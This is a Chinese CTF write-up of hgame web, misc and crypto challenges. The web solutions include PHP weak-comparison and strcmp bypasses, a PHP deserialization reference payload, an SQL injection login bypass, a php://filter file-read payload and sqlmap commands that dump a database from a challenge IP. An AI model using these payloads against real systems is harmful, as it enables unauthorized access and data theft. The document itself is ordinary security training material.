由于水平有限,就写写自己做出来的题目。

Web

Level - week1

这部分还是比较简单的说

Are you from Europe?

进去一看,呀,竟然是抽SSR,看来我们这种非酋应该是没什么手气了吧。

直接看源代码,发现最后有

1
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w p(){b a=l("8!k,j 8 o 1 m?");5(!$("#4").7()&&!$("#9").7()){2("i。");f}b 1="";1+="";1+="";1+="";1+="y";1+="{";1+="g";1+="h";1+="3";1+="6";1+="v";1+="h";1+="0";1+="s";1+="e";1+="u";1+="6";1+="0";1+="n";1+="r";1+="!";1+="}";5(a){$("#4").d();$("#9").d();2("t。1: "+1)}q{2("x。")}}',35,35,'|flag|alert||serv5|if|_|html|SSR|craft5|buy|var||remove||return|T||你根本不是欧洲人|你愿意献祭你全部的|欧洲人|confirm|吗||来获取|soHappy|else|E||兑换成功|N|C|function|你失去了唯一的机会|hgame'.split('|'),0,{}))

一看就是js混淆,直接丢去解密

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function soHappy() {
var buy = confirm("SSR!欧洲人,你愿意献祭你全部的 SSR 来获取 flag 吗?");
if (!$("#serv5").html() && !$("#craft5").html()) {
alert("你根本不是欧洲人。");
return
}
var flag = "";
flag += "";
flag += "";
flag += "";
flag += "hgame";
flag += "{";
flag += "T";
flag += "h";
flag += "3";
flag += "_";
flag += "C";
flag += "h";
flag += "0";
flag += "s";
flag += "e";
flag += "N";
flag += "_";
flag += "0";
flag += "n";
flag += "E";
flag += "!";
flag += "}";
if (buy) {
$("#serv5").remove();
$("#craft5").remove();
alert("兑换成功。flag: " + flag)
} else {
alert("你失去了唯一的机会。")
}
}

得到flag

special number

这题一开始我还没做出来233333,果然自己还是太菜了。
题目直接给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include_once("flag.php");
if(isset($_GET['key'])){
$pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{7,}$/ ';
$key = $_GET['key'];
if(preg_match($pattern,$key)===0){
echo "格式错误";
}else{
$lock="******************";
$b = json_decode($key);
if($b==$lock)
echo $flag;
else
echo "this is no special number";
}
}

这题便是一个php弱相等的题,这个正则就是一串数字跟字母
于是便想到了比较经典的0e
试了一下key=0e11111111111,就过了23333.

can u find me?

题目很直接地提示了

1
only robot know where is the flag

于是robots.txt了解一下

1
2
User-agent: *
Disallow: /f1aaaaaaaag.php

这就没什么意思了。。

结果还没完,心里又一高兴

1
only admin can get flag

看到Cookie

1
Cookie:user=guest

js修改cookie了解一下,然后拿到flag

tell me what you want

根据提示输入flag

1
request method is error.I think POST is better

很明显的提示,然后改成POST发包,body为want=flag

得到Response:

1
2
https://www.wikiwand.com/en/X-Forwarded-For
only localhost can get flag

在修改请求头X-Forwarded-For127.0.0.1

得到Rep:

1
2
<br/>https://www.wikiwand.com/en/User_agent
<br/>please use Icefox/57.0

这个就不能直接修改ua为Icefox/57.0了,得带上普通浏览器的ua,随便拿个firefox的ua进行修改

1
2
3
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
改成
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Icefox/57.0

得到Rep:

1
2
<br/>https://www.wikiwand.com/en/HTTP_referer
<br/>the requests should referer from www.google.com

再改请求头Referer:www.google.com

得到Rep:

1
2
<br/>https://www.wikiwand.com/en/HTTP_cookie
<br/>you are not admin

又得来修改cookie了…查看Cookie直接发现有个isadmin=0,那就改成1就好了,最后得到flag

我们不一样

1
2
3
4
5
6
7
8
9
10
include_once("flag.php");
if(isset($_POST['str1'])&&isset($_POST['str2'])){

if ($_POST['str1']!=$_POST['str2']&&strcmp($_POST['str1'],$_POST['str2'])==0) {
echo "flag is:".$flag;
exit();
} else{
echo "Something wrong..";
}
}

一看又是一题php弱相等,考察strcmp,只要其中一个为数组就好

1
str1=0&str2[]=0

得到flag

Level - week2

Random?

打开地址啥都没有,一开始没什么思路,后来经过大师傅提醒,才注意到题目描述中说了

1
多random几次没准就随机到一样的值呢 PS:网不好vim线上改代码真是致命

既然是提到了vim改代码,那就可能会有源码泄露,vim的编辑临时文件为.random.php.swp

果然得到一个.swp文件,但是在windows下是看不了的。于是拖到了kali里面用vim恢复原始文件

.swp文件放到随便一个目录下,然后用

1
$ vim -r random.php

便可直接恢复random.php文件

看到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
include ('flag.php');

class emmm
{
var $public;
var $secret;
}

if ($_GET['emmm']) {
$emmm = unserialize($_GET['emmm']);
if (!is_object($emmm)) {
die("error");
}
$emmm->public = random_int(0, 100000000);
$emmm->secret = random_int(0, 100000000);
if ($emmm->public == $emmm->secret) {
echo $flag;
}
}

#highlight_file(__FILE__);

发现还是一个反序列化的题,这题弄了挺久没弄出来,还是参考了一下其他小伙伴的做法

总之按照题目意思,就是得使得emmmpublicsecret相等,那就构造一个实例化对象,让他们的publicsecret相等就好了,注意一下相等时候要有&

1
2
3
$a = new emmm();
$a->public = &$a->secret;
echo serialize($a);

得到payload:

1
emmm=O:4:"emmm":2:{s:6:"public";N;s:6:"secret";R:2;}

拿到flag

草莓社区-2

不知道是不是题目的问题show_maopian.php?mao=2.jpg竟然不能显示图片…

然后发现竟然可以有/etc/passwd,但是没有拿到/etc/shadow,也就拿不到服务器

题目提示flag在../flag.php,又不能直接访问,那就用php伪协议试试

1
show_maopian.php?mao=php://filter/read=convert.base64-encode/resource=../flag.php

得到

1
PD9waHAKCSRmbGFnPSJoZ2FtZXshbTRvX3BpNG5fQ2hhT19oYW9fa2FuIX0iOwo=

解码便得到flag

草莓社区-1

也不知道出题人怎么想的,这题简单得多,但是顺序放在了2下面,这次是show_maopian.php?mao=1.jpgshow_maopian.php?mao=1.jpg都可以读到图片,那就根据题目提示直接试试读一下../flag.php,直接拿到flag…2333

xss-1 & xss-2

接下来的这两个题就没怎么去做了,而且题目要求:payload需要在chrome和firefox上都能使用,且不能有交互。感觉挺难的,就没花时间弄了

记录一下题目以后看看(虽然极有可能不会去看…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
xss-1

function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');

return '<article>' + input + '</article>';
}

xss-2

function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/img/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');
input = input.replace(/\>/,'_');
return '<input value="' + input + '" type="text">';
}

最简单的sql题

还真是最简单的…

1
payload: username=admin%27+or+1%3D1+%23&pwd=1

Level - week3

正常的SQLi

这题我还没做出来,页面显示

1
2
因为出题人太懒了,所以现在没有任何功能
hello guest

提示也没那么明显,有判断guest,发现Cookie里有name=Z3Vlc3Q%3D; isadmin=0,那就改改,然后发现没什么用

没什么头绪就扫扫,然后发现有备份.bak文件,下载后发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
.....

$username = base64_decode($_COOKIE['name']);

.....

$sql = "select * from user where username = '{$username}'";
$re = mysqli_query($conn, $sql);
$rs = mysqli_fetch_array($re);

// echo $rs['flag'];
echo $username . '<br/>';
echo "因为出题人太懒了,所以现在没有任何功能";

.....

送分的SQLi

输入admin提示

1
2
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /home/hctfgame/week3/sqli2/index.php on line 8
Unknown column 'admin' in 'where clause'

自己手注还不是很厉害,还是用sqlmap吧23333(sqlmap真是太强大了orz)

既然有了mysql的报错,那就可以省掉判断数据库的步骤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql --dbs

available databases [3]:
[*] information_schema
[*] test
[*] week3_sqliiii2

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 --tables

Database: week3_sqliiii2
[2 tables]
+----------+
| f111aa4g |
| users |
+----------+

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 -T f111aa4g --columns

Database: week3_sqliiii2
Table: f111aa4g
[3 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| dajiangyoude | char(20) |
| f111aaaggg_w3 | char(40) |
| id | int(11) |
+---------------+----------+

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 -T f111aa4g -C "dajiangyoude,f111aaaggg_w3,id" --dump

Database: week3_sqliiii2
Table: f111aa4g
[1 entry]
+---------------+-----------------------------------+-------+
| dajiangyoude | f111aaaggg_w3 | id |
+---------------+-----------------------------------+-------+
| kan_wo_gan_ma | hgame{Th3_e4sist_sql_injeCti0n##} | 10086 |
+---------------+-----------------------------------+-------+

拿到flag

Misc

Level - week1

白菜1

题目提示LSB,那就去看看吧

根据CTF wiki的提示操作得到flag

白菜2

1
2
3
4
5
6
7
$ binwalk misc2.jpg 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
1037199 0xFD38F Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 39, name: flag.txt
1037368 0xFD438 End of Zip archive

发现有zip

1
$ dd if=misc2.jpg of=misc2.rar bs=1 skip=1037199

直接dd提出rar得到里面的flag

pacp1

看到最后有一个GET /flag.php的请求。

Alt text
Alt text

追踪一下即可得到flag

Crypto

Level - week1

easy Caesar

1
vuoas{Hvs_ei8qy_pf7kb_1l_xIadg_cjSf_o_Zo9m_rCu}

凯撒加密。没什么好说的

Hill

1
Not hard key:9 17 6 5 Ciphertext:phnfetzhzzwz

懒得解了…

Polybius

1
FDXDGDADDG_FXXFAAXFAG_GDFXFFXFFXADXFDA_GDAD

根据题目,感觉像是ADFGVX密码。

1
orjtz_nebel_jnsented_jt

confusion

1
--/.-./.-../-/-.-/-..../-.-/-..-/-./...-/--../-..-/--.-/.--/-.../.../-./.-/..---/..-./.../..-/..---/--./--./-.../.../.--/....-/...../-.../.../.-../.-/--../..-./..-/-..../.../...-/.---/-.../-./-../.-/--../.../.-./..../..-/-..../--.-/-...-/-...-/-...-/-...-

摩斯电码,解得

1
MRLTK6KXNVZXQWBSNA2FSU2GGBSW45BSLAZFU6SVJBNDAZSRHU6Q====

base32再解得

1
dW5yWmsxX2h4YSF0ent2X2ZzUHZ0fQ==

base64再解得

1
unrZk1_hxa!tz{v_fsPvt}

rot13再解得

1
haeMx1_ukn!gm{i_sfCig}

最后用栅栏解得到flag

baby step

1
2
pow(0x1111111111,flag,0x976693344d) = 0x7ac21f64ed
结果转换成5字节可见字符